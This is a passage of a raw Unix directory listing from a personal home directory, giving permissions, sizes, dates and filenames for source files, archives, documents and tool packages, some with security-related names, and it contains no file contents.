dhry_c.dif 9438 -rw-r--r-- 1 thalakan thalakan 475 Sep 3 2004 dirs 9439 drwxr-xr-x 4 thalakan thalakan 512 Feb 24 2002 distro.ibiblio.org 9440 -rwxr-xr-x 1 thalakan thalakan 5536 Nov 8 2004 dns 9441 -rwxr--r-- 1 thalakan thalakan 3754 Sep 13 2004 dns.c 9442 -rwxr--r-- 1 thalakan thalakan 4181 Sep 13 2004 dns.h 9443 -rw-r--r-- 1 thalakan thalakan 57 May 10 2007 dongs.sh 9444 drwxr-xr-x 2 thalakan thalakan 512 Nov 9 2006 donkey pr0n 9445 -rw-r--r-- 1 thalakan thalakan 2310 Mar 30 2006 donot.c 9446 -rw-r--r-- 1 thalakan thalakan 4066 Sep 17 2002 doodle 9447 -rwxr-xr-x 1 thalakan thalakan 30787 Apr 6 2005 door 9448 -rw-r--r-- 1 thalakan thalakan 5418 Apr 6 2005 door.c 9449 -rw-r--r-- 1 thalakan thalakan 5448 Mar 19 2004 door.c~ 9450 -rw-r--r-- 1 thalakan thalakan 482 Jun 2 2002 driver-powerpc-diff 9451 -rw-r--r-- 1 thalakan thalakan 5697017 Apr 8 2003 drivers.tgz.1 9452 -rwx------ 1 thalakan thalakan 13154 Dec 22 2007 drives.ods 9453 -rw-r--r-- 1 thalakan thalakan 105 Jul 29 2005 drkey.key 9454 drwx------ 6 thalakan thalakan 4096 Jul 12 2005 dropbear-0.46 9455 -rw-r--r-- 1 thalakan thalakan 1413918 Jul 8 2005 dropbear-0.46.tar.bz2 9456 -rw-r--r-- 1 thalakan thalakan 14517 Feb 28 2002 drowe.jpg 9457 -rw-r--r-- 1 thalakan thalakan 17433 Feb 28 2002 drowe2.jpg 9458 -rw-r--r-- 1 thalakan thalakan 393 Jun 3 2005 dujour-scan 9459 -rwxr-xr-x 1 thalakan thalakan 91 Apr 5 2005 dump_nist.sh 9460 -rw-r--r-- 1 thalakan thalakan 11458 Aug 13 2002 dup.sh 9461 -rw------- 1 thalakan thalakan 3392 Jan 24 2002 eNet::Telnet::Cisco; 9462 -rw-r--r-- 1 thalakan thalakan 90 Feb 16 20:10 e_me_tmp 9463 -rw-r--r-- 1 thalakan thalakan 103506 Aug 31 2004 ebs.hex 9464 -rw-r--r-- 1 thalakan thalakan 170340 Aug 31 2004 ebs1.hex 9465 -rw-r--r-- 1 thalakan thalakan 170340 Aug 31 2004 ebs2.hex 9466 -rw-r--r-- 1 thalakan thalakan 34813 Aug 29 2004 ebs_1.mp3 9467 -rw-r--r-- 1 thalakan thalakan 34813 Aug 29 2004 ebs_2.mp3 9468 drwxr-xr-x 11 thalakan thalakan 1536 Nov 15 2005 eggdrop1.6.17 9469 -rw-r--r-- 1 thalakan thalakan 805376 Sep 8 2005 eggdrop1.6.17.tar.bz2 9470 -rwxr-xr-x 1 thalakan thalakan 4301 Jul 29 2005 eip2eax 9471 -rw-r--r-- 1 thalakan thalakan 337 Jun 6 2005 eip2eax.c 9472 -rw-r--r-- 1 thalakan thalakan 269 Jun 6 2005 eip2eax.c~ 9473 -rw-r--r-- 1 thalakan thalakan 40960 Feb 18 2004 eject.exe 9474 -rw-r--r-- 1 thalakan thalakan 372 Dec 9 2004 emails.txt 9475 -rwxr-xr-x 1 thalakan thalakan 7324 Dec 13 2004 emfsploit 9476 -rw-r--r-- 1 thalakan thalakan 8524 Dec 13 2004 emfsploit.c 9477 -rw-r--r-- 1 thalakan thalakan 3304 Jul 28 2006 emo.txt 9478 -rw-r--r-- 1 thalakan thalakan 117760 Apr 29 2002 enastspec-projecta.doc 9479 -rw-r--r-- 1 thalakan thalakan 40065 May 31 2002 enastspec-projecta.pdf 9480 -rw-r--r-- 1 thalakan thalakan 169984 Apr 2 2002 enastspec.doc 9481 -rwxr-xr-x 1 thalakan thalakan 605 May 26 2003 enum-leases.pl 9482 -rw-r--r-- 1 thalakan thalakan 559 Aug 9 2002 estimate8.txt 9483 -rw-r--r-- 1 thalakan thalakan 10106726 Mar 10 2003 ethereal-setup-0.9.11.exe 9484 -rwxr-xr-x 1 thalakan thalakan 2348 Sep 11 2004 extractasnames.pl 9485 drwxr-xr-x 2 thalakan thalakan 512 Feb 5 2008 farmkeys 9486 drwxr-xr-x 10 thalakan thalakan 1024 Aug 14 2005 fedora-ds-7.1 9487 -rw-r--r-- 1 thalakan thalakan 4476825 May 31 2005 fedora-ds-7.1.tar.gz 9488 -rw-r--r-- 1 thalakan thalakan 2262440 Sep 14 2007 file_format_specification_v9.pdf 9489 -rw-r--r-- 1 thalakan thalakan 29789365 Oct 22 2004 files 9490 -rw-r--r-- 1 thalakan thalakan 5822 Dec 6 2005 firearms.txt 9491 -rw-r--r-- 1 thalakan thalakan 1158 Aug 27 2003 fix.sh 9492 -rw-r--r-- 1 thalakan thalakan 145088 Apr 22 2002 foo-ost.wav.gz 9493 -rw-r--r-- 1 thalakan thalakan 78 Feb 18 2002 foo.c 9494 -rw-r--r-- 1 thalakan thalakan 1511 Jul 1 2002 foo.gpg 9495 -rw-r--r-- 1 thalakan thalakan 320046 Apr 22 2002 foo.wav 9496 -rw-r--r-- 1 thalakan thalakan 65069 Apr 22 2002 foo.wav.gz 9497 -rw-r--r-- 1 thalakan thalakan 136 Mar 7 2002 foo2 9498 -rw-r--r-- 1 thalakan thalakan 320046 May 9 2002 foo3.wav 9499 -rwxr-xr-x 1 thalakan thalakan 212 Apr 18 23:44 for-all-hosts.sh 9500 -rw-r--r-- 1 thalakan thalakan 100228 Jun 2 2007 forensics200.bin 9501 -rw-r--r-- 1 thalakan thalakan 69633 Jun 11 2007 fr-030_candytron_final.zip 9502 drwxr-xr-x 13 thalakan thalakan 512 Dec 13 2004 framework-2.2 9503 -rw-r--r-- 1 thalakan thalakan 1294164 Aug 8 2004 framework-2.2.tar.gz 9504 -rw------- 1 thalakan thalakan 258 Jan 24 2002 from 9505 -rw-r--r-- 1 thalakan thalakan 301 Apr 3 2002 frys 9506 -rw-r--r-- 1 thalakan thalakan 14848 Dec 12 2002 frys2002.xls 9507 -rw-r--r-- 1 thalakan thalakan 1951 May 10 2006 fuckingstop.c 9508 -rwxr-xr-x 1 thalakan thalakan 5805 Sep 13 2007 fun 9509 -rw-r--r-- 1 thalakan thalakan 1335 Sep 13 2007 fun.c 9510 -rw-r--r-- 1 thalakan thalakan 576 Dec 13 2004 fun.emf 9511 -rw-r--r-- 1 thalakan thalakan 2593 Nov 30 2005 fun.html 9512 -rw-r--r-- 1 thalakan thalakan 140046 May 11 2005 fun.zip 9513 drwxr-xr-x 14 thalakan thalakan 1024 Aug 26 2005 gaim 9514 -rw-r--r-- 1 thalakan thalakan 21191 Jul 7 2006 gdb_init 9515 -rwxr-xr-x 1 thalakan thalakan 252 Sep 27 2002 getasns.pl 9516 -rwxr-xr-x 1 thalakan thalakan 5112 Oct 24 2004 getpeername 9517 -rw-r--r-- 1 thalakan thalakan 783 Oct 24 2004 getpeername.c 9518 -rw-r--r-- 1 thalakan thalakan 564 Oct 24 2004 getpeername.c~ 9519 -rw-r--r-- 1 thalakan thalakan 11 Oct 30 2007 ghetto-colo 9520 -rwxr-xr-x 1 thalakan thalakan 5808 Jun 1 2008 gobbledong 9521 -rw-r--r-- 1 thalakan thalakan 1037 Nov 10 2006 gobbledong.c 9522 -rwxr-xr-x 1 thalakan thalakan 82 Sep 16 2005 google 9523 -rw------- 1 thalakan thalakan 62914560 Jan 20 16:19 government documents.truecrypt 9524 -rw-r--r-- 1 thalakan thalakan 361 Dec 2 2008 graendalfuck 9525 -rw-r--r-- 1 thalakan thalakan 11289 Jan 24 2002 groo 9526 -rw-r--r-- 1 thalakan thalakan 1988 Jun 5 2004 gui.mm 9527 -rw-r--r-- 1 thalakan thalakan 272853 Apr 6 2002 ha.tar.gz 9528 -rwxr-xr-x 1 thalakan thalakan 30056 Mar 19 2004 hackme 9529 -rwxr--r-- 1 thalakan thalakan 5988 Mar 19 2004 hackme.c 9530 -rwxr--r-- 1 thalakan thalakan 5934 Mar 19 2004 hackme.c~ 9531 -rw-r--r-- 1 thalakan thalakan 237 Aug 22 2005 halts.png 9532 -rw-r--r-- 1 thalakan thalakan 175 Aug 22 2005 halts.png.0 9533 -rw-r--r-- 1 thalakan thalakan 139 Aug 22 2005 halts.png.1 9534 -rw-r--r-- 1 thalakan thalakan 143 Aug 22 2005 halts.png.2 9535 -rw-r--r-- 1 thalakan thalakan 126 Aug 22 2005 halts.png.3 9536 -rw-r--r-- 1 thalakan thalakan 115 Aug 22 2005 halts.png.4 9537 -rw-r--r-- 1 thalakan thalakan 237 Aug 22 2005 halts2.png 9538 -rw-r--r-- 1 thalakan thalakan 1662 Mar 20 2002 handler.pl 9539 -rw-r--r-- 1 thalakan thalakan 3698 Jun 2 19:10 hardcopy.0 9540 -rw-r--r-- 1 thalakan thalakan 2196 Feb 10 2004 hardcopy.1 9541 -rw-r--r-- 1 thalakan thalakan 539 Dec 3 2008 hardcopy.2 9542 -rw-r--r-- 1 thalakan thalakan 3490 Apr 2 2006 hardcopy.3 9543 -rw-r--r-- 1 thalakan thalakan 1100 May 31 2006 hardcopy.4 9544 -rw-r--r-- 1 thalakan thalakan 601 Jan 31 14:23 hardcopy.5 9545 drwxr-xr-x 3 thalakan thalakan 512 Sep 8 2007 hautesecure 9546 -rw------- 1 thalakan thalakan 19760 Sep 12 2007 hautesecure.xpi 9547 -rw-r--r-- 1 thalakan thalakan 12288 Mar 2 2004 hbeeime.exe 9548 -rwxr--r-- 1 thalakan thalakan 2689 Aug 26 2003 hd3.c 9549 -rw-r--r-- 1 thalakan thalakan 18867 Aug 28 2002 hda.c 9550 -rw-r--r-- 1 thalakan thalakan 713 Nov 2 2006 hexdump.c 9551 -rwxr-xr-x 1 thalakan thalakan 2981254 Oct 11 2004 hldsupdatetool.bin 9552 -rw-r--r-- 1 thalakan thalakan 12800 Aug 24 2002 hmmi-quote.doc 9553 -rw-r--r-- 1 thalakan thalakan 269810 Sep 16 2002 hmmi-quote2.pdf 9554 -rw-r--r-- 1 thalakan thalakan 1527 May 21 2003 homework7.zip 9555 -rw-r--r-- 1 thalakan thalakan 8379 May 21 2003 homework8.zip 9556 -rw-r--r-- 1 thalakan thalakan 2597 May 21 2003 homework9.zip 9557 -rw------- 1 thalakan thalakan 20238 Jul 24 2002 hostdsp.cpp 9558 -rw-r--r-- 1 thalakan thalakan 917 Jun 9 15:53 hosts.txt 9559 -rw-r--r-- 1 thalakan thalakan 454 Apr 8 14:46 hosts.txt~ 9560 -rw-r--r-- 1 thalakan thalakan 638 Apr 24 2002 howl.cpp 9561 drwxr-xr-x 2 thalakan thalakan 512 Jun 5 2006 hrdwrinv 9562 drwxr-xr-x 3 thalakan thalakan 1536 Jul 13 11:05 hsq 9563 -rw-r--r-- 1 thalakan thalakan 2249 Mar 4 14:24 hsqual.txt 9564 -rw-r--r-- 1 thalakan thalakan 1661 Mar 4 11:56 hsqual.txt~ 9565 -rw-r--r-- 1 thalakan thalakan 23 Jan 24 2002 ht_passwd 9566 -rw-r--r-- 1 root thalakan 186666127 Sep 24 2007 httpd-lc.log 9567 -rw-r--r-- 1 root thalakan 27705678 Oct 19 2005 httpd-six-error.log 9568 drwxr-xr-x 4 thalakan thalakan 512 Aug 31 2006 iTunes Music 9569 -r--r--r-- 1 thalakan thalakan 229351 May 29 2002 ibcs-2.1-981105.tar.gz 9570 -rw-r--r-- 1 thalakan thalakan 1850 Dec 19 2002 id_digrev.asc 9571 -rwx------ 1 thalakan thalakan 668 Jun 11 2004 id_dsa 9572 -rw-r--r-- 1 thalakan thalakan 604 May 9 2002 id_dsa_voip_vpn.pub 9573 -rw-r--r-- 1 thalakan thalakan 30908120 Aug 14 2005 ida48.exe 9574 drwxr-xr-x 10 thalakan thalakan 512 Apr 25 2006 idastd 9575 -rw-r--r-- 1 thalakan thalakan 13562 Dec 13 2004 iframesploit 9576 -rw-r--r-- 1 thalakan thalakan 876 Jan 31 15:55 index.html?webmaster=interesting&program=tube4free&page=&warnDisp=yes 9577 -rw-r--r-- 1 thalakan thalakan 10812 Mar 29 2004 index.rss 9578 -rw-r--r-- 1 thalakan thalakan 10820 Mar 29 2004 index.rss.1 9579 -rw-r--r-- 1 thalakan thalakan 902048 Jan 27 2002 info2.db 9580 -rw-r--r-- 1 thalakan thalakan 860514 Mar 11 2002 initrd.tar.gz 9581 drwx------ 3 thalakan thalakan 1024 Mar 31 2006 injectso-0.2 9582 -rw-r--r-- 1 thalakan thalakan 80253 Jul 25 2003 injectso-0.2.1.tar.gz 9583 -rw-r--r-- 1 thalakan thalakan 80367 Jul 25 2003 injectso-0.2.tar.gz 9584 -rw-r--r-- 1 thalakan thalakan 80367 Jul 25 2003 injectso-0.2.tar.gz.1 9585 -rw-r--r-- 1 thalakan thalakan 18 Feb 26 2003 input.txt 9586 -rw-rw-r-- 1 thalakan thalakan 728 May 29 2002 installkernel 9587 drwxr-xr-x 3 thalakan thalakan 1024 Aug 2 2005 interceptty-0.6 9588 -rw-r--r-- 1 thalakan thalakan 95911 Sep 5 2004 interceptty-0.6.tar.gz 9589 -rw-r--r-- 1 thalakan thalakan 17030 Apr 14 2003 interzone-report.txt 9590 -rwxr--r-- 1 thalakan thalakan 267264 Apr 10 2003 interzonetalk.ppt 9591 -rw-r--r-- 1 thalakan thalakan 2535936 Jul 5 2005 intw2634.exe 9592 -rw-r--r-- 1 thalakan thalakan 24963 Sep 2 2002 invoice.rtf 9593 -rw-r--r-- 1 thalakan thalakan 12584 Sep 24 2002 invoice1.rtf 9594 -rw------- 1 thalakan thalakan 990 Sep 23 2002 invoice1.txt 9595 -rw-r--r-- 1 thalakan thalakan 28369 Aug 20 2002 invoice10.rtf 9596 -rw-r--r-- 1 thalakan thalakan 12880 Sep 24 2002 invoice2.rtf 9597 -rw------- 1 thalakan thalakan 967 Jan 10 2003 invoice2.txt 9598 -rw------- 1 thalakan thalakan 983 Aug 9 2002 invoice4.txt 9599 drwxr-xr-x 2 thalakan thalakan 512 Sep 9 2003 ip2asn 9600 -rw-r--r-- 1 thalakan thalakan 5291 Aug 2 2004 ip2asn-v1.1.tar.gz 9601 -rw-r--r-- 1 thalakan thalakan 153 Sep 13 2004 ips.sql 9602 -rw-r--r-- 1 thalakan thalakan 1392 Jul 28 2008 ipt_NETFLOW-printf-args.patch 9603 -rw-r--r-- 1 thalakan thalakan 1220652 Oct 10 2005 ipw2200-1.0.6-knoppix.tar.gz 9604 -rw-r--r-- 1 thalakan thalakan 118 Jun 5 2007 irc-channels.txt 9605 -rw-r--r-- 1 root wheel 15347181 May 26 2007 irc.pcap.gz 9606 drwx------ 12 thalakan thalakan 512 Jun 5 16:04 irclogs 9607 -rwxr-xr-x 1 thalakan thalakan 9702 Feb 8 17:44 ittybitty 9608 -rw-r--r-- 1 thalakan thalakan 1510 Feb 9 15:42 ittybitty.c 9609 -rw------- 1 thalakan thalakan 335872 Feb 8 17:37 ittybitty.core 9610 -rw-r--r-- 1 thalakan thalakan 724 Feb 8 17:18 ittybitty.c~ 9611 -rw-r----- 1 thalakan thalakan 36764 Sep 9 2002 ivr-000-1031276804.wav 9612 -rw-r--r-- 1 thalakan thalakan 7818 May 7 2002 ivr4dummies.txt 9613 -rw-r--r-- 1 thalakan thalakan 2787 May 7 2002 ivr4dummies.txt~ 9614 -rw-r--r-- 1 thalakan thalakan 9137 Mar 14 2005 iz4-2.txt 9615 -rw-r--r-- 1 thalakan thalakan 9140 Mar 14 2005 iz4-2.txt~ 9616 -rwx------ 1 thalakan thalakan 9267 Mar 14 2005 iz4.txt 9617 -rwxr-xr-x 1 thalakan thalakan 4669 Oct 7 2005 izw1 9618 -rw-r--r-- 1 thalakan thalakan 243 Oct 7 2005 izw1.c 9619 -rw------- 1 thalakan thalakan 25842 Jun 20 2005 jason.zip 9620 drwxr-xr-x 2 thalakan thalakan 512 Sep 5 2007 jasonspence 9621 drwxr-xr-x 3 thalakan thalakan 512 Apr 28 2002 jk2 9622 -rw-r--r-- 1 thalakan thalakan 0 Jan 24 2002 john.ini 9623 -rw------- 1 thalakan thalakan 0 Jan 24 2002 john.pot 9624 -rw-r--r-- 1 thalakan thalakan 2447 Apr 12 2002 jointest.cpp 9625 -rw-r--r-- 1 thalakan thalakan 106 May 3 2007 jol.txt 9626 -rwxr-xr-x 1 thalakan thalakan 10733 Dec 13 2004 jpgsploit 9627 -rw-r--r-- 1 thalakan thalakan 8632 Dec 13 2004 jpgsploit.c 9628 -rw-r--r-- 1 thalakan thalakan 7170 Dec 13 2004 jpgsploit.c~ 9629 drwxr-xr-x 3 thalakan thalakan 3584 Jul 6 15:00 jrstools 9630 lrwxr-xr-x 1 thalakan wheel 11 Jan 24 2002 jrsweb -> public_html 9631 drwxr-xr-x 5 thalakan thalakan 512 Jan 2 2008 jsrc 9632 -rw-r--r-- 1 thalakan thalakan 11292 Aug 30 2005 july 9633 -rw-r--r-- 1 thalakan thalakan 7476 Aug 30 2005 july.1 9634 -rw-r--r-- 1 thalakan thalakan 16075 Aug 30 2005 june 9635 -rw-r--r-- 1 thalakan thalakan 7475 Aug 30 2005 june.1 9636 -rw-r--r-- 1 thalakan thalakan 0 Apr 4 2003 kernel 9637 -rw-r--r-- 1 thalakan thalakan 34626859 Mar 24 2005 kernel-2.4.20-31.9HSQ.src.rpm 9638 drwxr-xr-x 2 thalakan thalakan 1024 Feb 8 2008 kernelz 9639 -rw-r--r-- 1 thalakan thalakan 2008 Dec 30 2004 key 9640 -rw------- 1 thalakan thalakan 4500 Aug 6 2002 khook.c 9641 -rwxr-xr-x 1 thalakan thalakan 84 Aug 28 2003 kill.sh 9642 -rw-r--r-- 1 thalakan thalakan 11348 Jan 24 2002 kscan_0002.jpeg 9643 -r--r--r-- 1 thalakan thalakan 57640 May 29 2002 ksymoops-2.3.4.tar.gz 9644 -rw------- 1 thalakan thalakan 5176819 Jul 20 01:38 ktrace.out 9645 -rw-r--r-- 1 thalakan thalakan 26169 Sep 12 2002 lackoffaith.ul 9646 -rw-r--r-- 1 thalakan thalakan 3466 May 9 2006 last_will.txt.gpg 9647 -rwxr-xr-x 1 thalakan thalakan 138 Jul 5 2007 lastarg.sh 9648 -rw-r--r-- 1 thalakan thalakan 218281 Jul 31 2008 ldap2.ldif 9649 -rwxr-xr-x 1 thalakan thalakan 368 Apr 26 2007 level1-update.sh 9650 -rwx------ 1 thalakan thalakan 1320 May 4 2006 level1.h 9651 -rwx------ 1 thalakan thalakan 938 Jul 26 2004 level1.h~ 9652 -rwxr-xr-x 1 thalakan thalakan 8214 May 4 2006 level1_client 9653 -rwx------ 1 thalakan thalakan 8196 Mar 1 01:20 level1_client.c 9654 -rwx------ 1 thalakan thalakan 7111 May 4 2006 level1_client.c~ 9655 -rw-r--r-- 1 thalakan thalakan 5233 Aug 7 2004 level1_client_new.c 9656 -rw-r--r-- 1 thalakan thalakan 844 Mar 16 15:11 lfwell_1-confg.diff 9657 -rwxr-xr-- 1 thalakan thalakan 140711 Mar 17 13:28 lfwell_1-tech. 9658 drwxr-xr-x 6 thalakan thalakan 512 Oct 26 2003 lima-1.0b5 9659 -rw-r--r-- 1 thalakan thalakan 2043206 Nov 2 2003 lima-1.0b5+driver.tar.gz 9660 -rw-r--r-- 1 thalakan thalakan 19815 Jun 20 2005 list.rtf 9661 -rw-r--r-- 1 thalakan thalakan 68060 Jul 30 2002 lj2.jpg 9662 -rw-r--r-- 1 thalakan thalakan 10983 Aug 9 2008 lmnt.raw 9663 drwxr-xr-x 2 thalakan thalakan 512 Dec 21 2008 lmwtfu.com 9664 -rw-r--r-- 1 thalakan thalakan 27 Mar 8 16:09 loc.txt 9665 -rw-r--r-- 1 thalakan thalakan 37095 Jun 9 2006 log.txt 9666 -rw-r--r-- 1 thalakan thalakan 34419 May 9 2006 log.txt~ 9667 -rw-r--r-- 1 thalakan thalakan 848168 Apr 22 18:55 log_20090422-234123 9668 -rw------- 1 thalakan thalakan 10280 Nov 28 2006 logo-meta.scm 9669 -rw------- 1 thalakan thalakan 6433 Nov 28 2006 logo.scm 9670 drwxr-xr-x 3 thalakan thalakan 3584 Jan 3 2009 lolol 9671 -rwxr-xr-x 1 thalakan thalakan 260 Aug 24 2002 lottery-histogram.pl 9672 -rw-r--r-- 1 thalakan thalakan 817685 Mar 21 2002 lsi.tar.gz 9673 drwxr-xr-x 6 thalakan thalakan 1024 Oct 22 2004 ltrace-0.3.35.1 9674 -rw-r--r-- 1 thalakan thalakan 209102 Oct 28 2004 ltrace_0.3.35.1.tar.gz 9675 -rw-r--r-- 1 thalakan thalakan 2518 Apr 16 2001 mab20010416.tar.gz 9676 -rw-r--r-- 1 thalakan thalakan 146803 Sep 7 2004 magic.nb 9677 -rw-r--r-- 1 thalakan thalakan 3836 Sep 2 2004 magnitude.nb 9678 -rw-r--r-- 1 root thalakan 2722 Jun 1 2005 mail.cap 9679 -rw-r--r-- 1 thalakan thalakan 10188 Jun 5 2002 manual2-diff 9680 drwxr-xr-x 11 thalakan thalakan 512 Nov 14 2002 massrooter 9681 -rw-r--r-- 1 thalakan thalakan 1505102 Sep 6 2002 massrooter.tar.gz 9682 -rw-r--r-- 1 thalakan thalakan 1724731 Nov 13 2002 massrooterfinal.tar.gz 9683 -rwxr-xr-x 1 thalakan thalakan 8280 Dec 2 2004 matrixwhack 9684 -rw-r--r-- 1 thalakan thalakan 1614 Nov 8 2004 matrixwhack.c 9685 -rw-r--r-- 1 thalakan thalakan 10 Nov 8 2004 matrixwhack.c~ 9686 -rw-r--r-- 1 thalakan thalakan 301 Nov 8 2004 matrixwhack.h 9687 -rw-r--r-- 1 thalakan thalakan 212 Nov 8 2004 matrixwhack.h~ 9688 -rw-r--r-- 1 thalakan thalakan 4100 Nov 8 2004 matrixwhack.o 9689 -rwxr-xr-x 1 thalakan thalakan 5066 Dec 2 2004 matrixwhack2 9690 -rw-r--r-- 1 thalakan thalakan 1609 Dec 2 2004 matrixwhack2.c 9691 -rw-r--r-- 1 thalakan thalakan 1614 Dec 2 2004 matrixwhack2.c~ 9692 -rw-r--r-- 1 thalakan thalakan 294 Dec 2 2004 matrixwhack2.h 9693 -rw-r--r-- 1 thalakan thalakan 301 Dec 2 2004 matrixwhack2.h~ 9694 -rwxr-xr-x 1 thalakan thalakan 2233 Jan 24 2002 mbox2maildir 9695 -rwxr--r-- 1 thalakan thalakan 1121 Apr 6 2003 mcinotes.txt 9696 -rwxr--r-- 1 thalakan thalakan 884 Apr 6 2003 mcinotes.txt~ 9697 -rw-r--r-- 1 thalakan thalakan 197 Aug 9 2008 md5s 9698 -rw-r--r-- 1 thalakan thalakan 19894 Oct 5 2002 me.jpg 9699 -rwxr-xr-x 1 thalakan thalakan 296 Aug 28 2003 megahit.sh 9700 -rw-r--r-- 1 thalakan thalakan 405 Jun 15 2003 mem.c 9701 -rwxr-xr-x 1 thalakan thalakan 17396 Nov 29 2005 memoryscan 9702 -rw-r--r-- 1 thalakan thalakan 1266 Nov 30 2005 memoryscan.c 9703 -rw-r--r-- 1 thalakan thalakan 207 Nov 29 2005 memoryscan.c~ 9704 -rwxr-xr-x 1 thalakan thalakan 17149 Nov 29 2005 memoryscano 9705 -rw-r--r-- 1 thalakan thalakan 880 Apr 20 2005 memview.asm 9706 -rw-r--r-- 1 thalakan thalakan 625 Apr 20 2005 memview.asm~ 9707 -rw-r--r-- 1 thalakan thalakan 36 Apr 20 2005 memview.com 9708 -rw-r--r-- 1 thalakan thalakan 528 Jun 5 2005 message 9709 -rw-r--r-- 1 thalakan thalakan 369 Jun 5 2005 message.txt 9710 -rwxr-x--- 1 thalakan thalakan 1028096 Feb 28 2005 mfc42.dll 9711 drwxr-xr-x 9 thalakan thalakan 1024 Dec 24 2002 minewt 9712 -rw-r--r-- 1 thalakan thalakan 162396 Aug 12 2002 minewt-1.0.tar.gz 9713 drwxr-xr-x 7 thalakan thalakan 1024 Sep 25 2002 minewt-new-1.0 9714 -rw-r--r-- 1 thalakan thalakan 1080296 Sep 19 2002 minewt-new-1.0.tar.gz 9715 drwxr-xr-x 45 thalakan thalakan 1024 Jan 3 2009 miser 9716 -rwxr-xr-- 1 thalakan thalakan 11358374 Jan 10 2006 miser_source.zip 9717 drwxr-xr-x 3 thalakan thalakan 512 Oct 3 2005 mitpress.mit.edu 9718 -rw-r--r-- 1 thalakan thalakan 4029 Apr 8 2002 mkstemp-diff 9719 -rw-r--r-- 1 thalakan thalakan 3821 Apr 26 2003 mm.asm 9720 -rw-r--r-- 1 thalakan thalakan 1017 Apr 7 2003 mm.inc 9721 -rwx------ 1 thalakan thalakan 4564 Apr 26 2003 mmsystem.inc 9722 -rw-r--r-- 1 thalakan thalakan 1474560 Jun 27 2002 mochagrub.img 9723 -rwxr-xr-x 1 thalakan thalakan 2447 Aug 22 2008 monitor.sh 9724 -rw-r--r-- 1 thalakan thalakan 17338 Jun 6 2003 monitor.tar.gz 9725 -rw-r--r-- 1 thalakan thalakan 15624276 Jun 21 2003 mookie 9726 -rwxr-xr-x 1 thalakan thalakan 10091 Feb 14 2005 mp3dump 9727 -rw-r--r-- 1 thalakan thalakan 1344 Feb 14 2005 mp3dump.c 9728 -rw-r--r-- 1 thalakan thalakan 1289 Feb 10 2005 mp3dump.c~ 9729 -rw-r--r-- 1 thalakan thalakan 485 Feb 10 2005 mp3dump.h 9730 -rw-r--r-- 1 thalakan thalakan 63 Feb 10 2005 mp3dump.h~ 9731 -rw-r--r-- 1 thalakan thalakan 932014 Jul 19 2002 mr314v326.bin 9732 drwxr-xr-x 2 thalakan thalakan 512 Mar 25 2006 mrl 9733 -rwxr-xr-x 1 thalakan thalakan 412 Feb 18 2006 mrlbot.pl 9734 -rwxr-xr-x 1 thalakan thalakan 356 Feb 18 2006 mrlbot.pl~ 9735 -rw-r--r-- 1 root thalakan 0 Nov 18 2002 mrtg.cfg_l 9736 -rw------- 1 thalakan thalakan 3847 Mar 4 2003 msg 9737 -rwxr-x--- 1 thalakan thalakan 413696 Feb 28 2005 msvcp60.dll 9738 drwx------ 3 thalakan thalakan 512 Sep 20 2002 mutella 9739 drwxr-xr-x 2 thalakan thalakan 512 Jun 19 2002 mutt-address-book 9740 drwxr-xr-x 2 thalakan thalakan 512 Oct 31 2005 my-cs61a 9741 drwxr-xr-x 10 thalakan thalakan 8704 Oct 24 2004 my-openssh 9742 -rw-r--r-- 1 thalakan thalakan 2735413 Sep 28 2007 my_xxx_twin_torrents.rar 9743 -rw-r----- 1 thalakan thalakan 2657 Aug 13 2002 mybridge.cpp 9744 drwxr-xr-x 33 thalakan thalakan 1024 Nov 19 2008 mysql-5.1.30 9745 -rw-r--r-- 1 thalakan thalakan 29050568 Nov 19 2008 mysql-5.1.30.tar.gz 9746 -rw-r--r-- 1 thalakan thalakan 24554742 May 9 2007 mysql-gui-tools-5.0r12-linux-i386.tar.gz 9747 -rw-r--r-- 1 thalakan thalakan 20331 Aug 13 2002 mytpbx.cpp 9748 -rw-r--r-- 1 thalakan thalakan 252438 Aug 5 2002 ncb.pdf 9749 -rw-r--r-- 1 thalakan thalakan 10678 Jul 31 2008 neat 9750 -rw-r--r-- 1 thalakan thalakan 148842 Aug 13 2004 neato.jpg 9751 -rw------- 1 thalakan thalakan 88495 Aug 30 2004 neato.mail 9752 -rw------- 1 thalakan thalakan 751 Feb 21 2003 netmask.c 9753 -rwxr-xr-x 1 thalakan thalakan 336 Sep 6 2002 netwatch.pl 9754 -rwxr-xr-x 1 thalakan thalakan 335 Sep 6 2002 netwatch.pl~ 9755 -rwxr--r-- 1 thalakan thalakan 84480 Mar 4 2003 networkviztalk.ppt 9756 -rw-r--r-- 1 thalakan thalakan 29 Jul 31 2006 new.txt 9757 drwxr-xr-x 3 thalakan thalakan 512 Jun 4 2002 news 9758 -rw-r--r-- 1 thalakan thalakan 133 Jan 15 2009 nmsfeatures.txt 9759 -rw-r--r-- 1 thalakan thalakan 0 Feb 11 20:18 nodes.dat 9760 -rw-r--r-- 1 thalakan thalakan 5425 Apr 29 01:08 noisebridge notes.txt 9761 -rw-r--r-- 1 thalakan thalakan 367 Apr 29 02:14 noisebridge.log 9762 -rw-r--r-- 1 thalakan thalakan 186 Apr 29 01:19 noisebridge.log~ 9763 -rw------- 1 thalakan thalakan 323 Sep 13 2004 noncommercial_cpp_l_20729028.lic 9764 -rw-r--r-- 1 thalakan thalakan 26 Feb 14 2005 nops 9765 drwxr-xr-x 4 thalakan thalakan 512 Jun 1 2007 nopsr.us 9766 -rw-r--r-- 1 thalakan thalakan 135140 Aug 31 2005 notes.txt 9767 -rw-r--r-- 1 thalakan thalakan 135135 Oct 7 2003 notes.txt~ 9768 -rw-r--r-- 1 thalakan thalakan 1245 Mar 16 15:11 npnrt1-confg.diff 9769 -rwxr-xr-- 1 thalakan thalakan 162749 Mar 17 13:28 npnrt1-tech. 9770 -rwxr-x--- 1 thalakan thalakan 574592 Apr 8 2005 ntfs.sys 9771 -rwxr-x--- 1 thalakan thalakan 2180992 Apr 8 2005 ntoskrnl.exe 9772 -rw-r--r-- 1 thalakan thalakan 13 Sep 15 2006 numb.txt 9773 -rwx------ 1 thalakan thalakan 2784 Jun 27 12:45 numbers.txt 9774 -rwx------ 1 thalakan thalakan 2546 Jan 1 2009 numbers.txt~ 9775 -rwxr--r-- 1 thalakan thalakan 4058 Jun 15 2003 nvram-extract.c 9776 -rw-r--r-- 1 thalakan thalakan 27162 Jan 18 2007 oehs9b_36.sis 9777 drwxr-xr-x 2 thalakan thalakan 512 Dec 7 2004 ohlone 9778 -rw-r--r-- 1 thalakan thalakan 1178334 Dec 2 2004 ohlone.tar.gz 9779 -rw-r--r-- 1 thalakan thalakan 23319 May 11 2005 oipenvms-v2r2-28jan2005.zip 9780 -rw-r----- 1 thalakan thalakan 958 